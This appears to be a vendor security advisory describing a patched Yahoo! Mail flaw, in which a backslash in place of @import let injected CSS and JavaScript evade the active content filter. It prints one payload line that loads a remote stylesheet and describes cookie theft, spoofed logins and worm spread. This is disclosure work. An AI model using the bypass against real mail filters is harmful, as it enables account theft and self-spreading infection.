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Yahoo! E-Mail Service Inadequate ActiveX Blocking
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SUMMARY
Yahoo! Mail "gives you the freedom to access your email from home, the
office, the road anywhere in the world there's a web-connected computer".
A vulnerability in Yahoo! Mail allows hackers to develop an attack that
could have caused significant computer damage during regular Internet use,
this is due to inadequate filtering of potential harmful HTML code.
DETAILS
The vulnerability resulted from the failure of Yahoo's active content
filter to adequately block ActiveX controls and other active content
components, and affected all Windows based system platforms that read
e-mail messages using Yahoo Web-mail service. Active X controls are
downloadable programs that run with the same rights and privileges as the
user, allowing access to files and personal information stored on a local
hard drive or shared folder. A no-click attack could have launched
automatically once a user opened an e-mail message.
For example, the vulnerability could have also potentially allowed a worm
to read Windows address book, replicate and send itself to everyone in the
address book, and have this process repeat at an exponential rate. It
could have also harvested email addresses from local files, just like any
other worm, and use the Yahoo web-mail vulnerability to send the email
messages. Other web-based e-mail systems may be vulnerable to this
vulnerability.
Technical details:
It is a potentially automatic attack. Users had to simply read the
infected email message.
There are two variants of this vulnerability.
The purpose of Yahoo's active content filter is to block the injection of
any active content into Yahoo! messages. However, the basic failure that
allowed this vulnerability is that there was no blocking of a backslash
that is used instead of the import rule.
Example:
<style><!--@\ "http://www.finjan.com/mcrc/file.css";--></style>
The injected JavaScript code inside the CSS file is responsible for:
- Getting cookies.
- Automatic launching of malicious code.
- A possible identity theft using a spoofed re-login window.
- Sending an e-mail message.
The injected ActiveX control can be used for a destructive payload of the
propagating worm. The basic attack does not require an ActiveX control.
The ActiveX control is the payload that can be used to extend the attack
to non-web mail users, or to perform any malicious activity, including
formatting of the hard disk. Upon using the ActiveX control, end user may
get a security warning. It depends on the security setting of the browser.
Example:
<http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp>
http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp (Click
on the 'test me' button after reading the disclaimer)
Vendor Status:
Yahoo! has already patched their Web-based e-mail services.
ADDITIONAL INFORMATION
The information has been provided by <mailto:dshalev@finjan.com> Dror
Shalev.
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